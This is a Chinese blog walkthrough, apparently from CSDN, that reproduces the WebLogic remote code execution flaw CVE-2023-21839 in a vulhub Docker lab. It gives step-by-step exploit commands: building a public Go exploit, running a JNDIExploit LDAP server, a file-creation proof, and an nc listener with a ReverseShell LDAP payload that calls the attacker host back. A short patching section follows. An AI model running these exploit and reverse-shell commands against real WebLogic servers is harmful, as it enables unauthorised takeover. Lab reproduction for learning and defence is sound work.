[ vulhub漏洞复现篇 ] WebLogic Server 远程代码执行漏洞复现 (CVE-2023-21839)
创始人
2024-06-02 05:15:45
0

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 一、漏洞编号
  • 二、影响范围
  • 三、漏洞描述
    • 1、产品简介
    • 2、漏洞概述
  • 四、环境搭建
    • 1、进入CVE-2023-21839环境
    • 2、启动CVE-2023-21839环境
    • 3、查看CVE-2023-21839环境
    • 4、访问CVE-2023-21839环境
    • 5、查看CVE-2023-21839漏洞提示信息
    • 6、关闭CVE-2023-21839环境
  • 五、漏洞复现
    • 1、Exp
      • 1.下载exp
      • 2.移入kali进行编译发现没有go环境
      • 3.搭建go环境再次编译
      • 4.成功编译为可执行文件
    • 2、启动ldap服务
    • 3、验证漏洞存在
    • 4、查找POC构造方式
    • 5、创建powershell.txt文件
      • 1.构造poc并执行
      • 2.确认文件创建成功
  • 六、getshell
    • 1、攻击机监听
    • 2、靶机连接
      • 1.查看如何构造poc反弹shell
      • 2.靶机执行连接命令
      • 3.Ldap服务端变化
    • 3、getshell成功
  • 七、漏洞修复
  • 八、Windows利用如下
  • 九、相关资源

一、漏洞编号

CVE-2023-21839

二、影响范围

Oracle WebLogic Server 12.2.1.3.0
Oracle WebLogic Server 12.2.1.4.0
Oracle WebLogic Server 14.1.1.0.0

三、漏洞描述

1、产品简介

WebLogic是美商Oracle的主要产品之一,系购并得来。是商业市场上主要的Java应用服务器软件之一,是世界上第一个成功商业化的J2EE应用服务器,目前已推出到14c版。而此产品也延伸出WebLogic Portal, WebLogic Integration等企业用的中间件,以及OEPE开发工具。

2、漏洞概述

WebLogic存在远程代码执行漏洞,该漏洞允许未经身份验证的远程攻击者通过T3/IIOP协议网络访问并破坏易受攻击的WebLogic服务器,成功利用此漏洞可能导致Oracle WebLogic服务器被接管或敏感信息泄露。
Weblogic t3/iiop协议支持远程绑定对象bind到服务端。并且可以通过lookup查看,代码:c.lookup(“xxxxxx”);。
当远程对象继承自OpaqueReference时,lookup查看远程对象时,服务端会调用远程对象getReferent方法。
weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并且实现了getReferent方法,并且存在retVal = context.lookup(this.remoteJNDIName)实现,故可以通过rmi/ldap远程协议进行远程命令执行。

四、环境搭建

1、进入CVE-2023-21839环境

cd vulhub/weblogic/CVE-2023-21839

在这里插入图片描述

2、启动CVE-2023-21839环境

docker-compose up -d

在这里插入图片描述

3、查看CVE-2023-21839环境

docker-compose ps

在这里插入图片描述

4、访问CVE-2023-21839环境

http://192.168.233.130:7001/console/login/LoginForm.jsp

在这里插入图片描述

5、查看CVE-2023-21839漏洞提示信息

cat README.md

在这里插入图片描述

6、关闭CVE-2023-21839环境

复现完记得关闭环境

docker-compose down

在这里插入图片描述

五、漏洞复现

1、Exp

1.下载exp

exp为go源码,需要编译为可执行文件

https://github.com/4ra1n/CVE-2023-21839

在这里插入图片描述

2.移入kali进行编译发现没有go环境

移入kali攻击机

在这里插入图片描述

切换到cmd目录下

cd /root/Desktop/CVE-2023-21839-master/cmd

在这里插入图片描述

编译go源码

go build -o CVE-2023-21839

在这里插入图片描述

3.搭建go环境再次编译

搭建go环境

apt install gccgo-go 

或者

apt install golang-go

在这里插入图片描述

编译go源码

go build -o CVE-2023-21839

在这里插入图片描述

4.成功编译为可执行文件

查看文件权限,发现是可执行文件

在这里插入图片描述

2、启动ldap服务

启动payload利用工具:https://download.csdn.net/download/qq_51577576/87559814

java -jar JNDIExploit.jar --ip 192.168.233.128

在这里插入图片描述

3、验证漏洞存在

执行如下命令

./CVE-2023-21839 -ip 192.168.233.130 -port 7001 -ldap ldap://192.168.233.128:1389/powershell

在这里插入图片描述

Ldap服务端变化

在这里插入图片描述

4、查找POC构造方式

我们查找一个可以执行任意命令的poc构造方式

java -jar JNDIExploit-1.4-SNAPSHOT.jar -u
ldap://0.0.0.0:1389/Basic/Command/[cmd]

在这里插入图片描述

5、创建powershell.txt文件

由于这里无法查看回显,我们采用创建文件的方式复现漏洞

1.构造poc并执行

构造的poc如下

./CVE-2023-21839 -ip 192.168.233.130 -port 7001 -ldap ldap://192.168.233.128:1389/Basic/Command/touch%20powershell.txt

在这里插入图片描述

2.确认文件创建成功

靶机进入容器查看,发现powershell.txt文件创建成功
进入容器

docker ps
docker exec -it 8badac8a5915 /bin/bash

切换到文件创建目录

cd /u01/oracle/user_projects/domains/base_domain
ls

在这里插入图片描述

/u01/oracle/user_projects/domains/base_domain这个目录也是反弹shell的目录

六、getshell

1、攻击机监听

nc -lvvp 55555

Nc反弹shell在文末给出

在这里插入图片描述

2、靶机连接

1.查看如何构造poc反弹shell

java -jar JNDIExploit-1.4-SNAPSHOT.jar -u
ldap://0.0.0.0:1389/Basic/ReverseShell/[ip]/[port]  ---windows NOT supported

在这里插入图片描述

2.靶机执行连接命令

靶机执行连接命令

./CVE-2023-21839 -ip 192.168.233.130 -port 7001 -ldap ldap://192.168.233.128:1389/Basic/ReverseShell/192.168.233.128/55555

在这里插入图片描述

3.Ldap服务端变化

在这里插入图片描述

3、getshell成功

等了一小会儿之后发现shell反弹过来了

在这里插入图片描述

ls

发现之前创建的文件powershell.xt

在这里插入图片描述

七、漏洞修复

1、安装Oracle WebLogic Server最新安全补丁:

https://www.oracle.com/security-alerts/cpujan2023.html

2、关闭T3和iiop协议端口,操作方法参考:

https://help.aliyun.com/noticelist/articleid/1060577901.html

八、Windows利用如下

安装go环境:https://blog.csdn.net/qq_51577576/article/details/129466010
cd \CVE-2023-21839-master\cmd
go build -o CVE-2023-21839.exe
java -jar JNDIExploit-1.4-SNAPSHOT.jar --ip 攻击机IP
CVE-2023-21839.exe -ip 靶机IP -port 7001 -ldap ldap://ldapip:1389/evil

九、相关资源

1、docker 搭建 vulhub 靶场环境
2、[ vulhub漏洞复现篇 ] vulhub 漏洞集合 - 表格版本(含漏洞复现文章连接)
3、[ vulhub漏洞复现篇 ] vulhub 漏洞集合(含漏洞复现文章连接)
4、exp源码下载链接
5、exp可执行文件下载链接
6、JNDIExploit-v1.11.jar下载链接
7、JNDIExploit-1.4-SNAPSHOT.jar下载链接
8、[ 环境搭建篇 ] Windows 安装 go 环境并配置环境变量(附go.1.20.2安装包)

相关内容

热门资讯

【NI Multisim 14...   目录 序言 一、工具栏 🍊1.“标准”工具栏 🍊 2.视图工具...
银河麒麟V10SP1高级服务器... 银河麒麟高级服务器操作系统简介: 银河麒麟高级服务器操作系统V10是针对企业级关键业务...
不能访问光猫的的管理页面 光猫是现代家庭宽带网络的重要组成部分,它可以提供高速稳定的网络连接。但是,有时候我们会遇到不能访问光...
AWSECS:访问外部网络时出... 如果您在AWS ECS中部署了应用程序,并且该应用程序需要访问外部网络,但是无法正常访问,可能是因为...
Android|无法访问或保存... 这个问题可能是由于权限设置不正确导致的。您需要在应用程序清单文件中添加以下代码来请求适当的权限:此外...
北信源内网安全管理卸载 北信源内网安全管理是一款网络安全管理软件,主要用于保护内网安全。在日常使用过程中,卸载该软件是一种常...
AWSElasticBeans... 在Dockerfile中手动配置nginx反向代理。例如,在Dockerfile中添加以下代码:FR...
AsusVivobook无法开... 首先,我们可以尝试重置BIOS(Basic Input/Output System)来解决这个问题。...
ASM贪吃蛇游戏-解决错误的问... 要解决ASM贪吃蛇游戏中的错误问题,你可以按照以下步骤进行:首先,确定错误的具体表现和问题所在。在贪...
月入8000+的steam搬砖... 大家好,我是阿阳 今天要给大家介绍的是 steam 游戏搬砖项目,目前...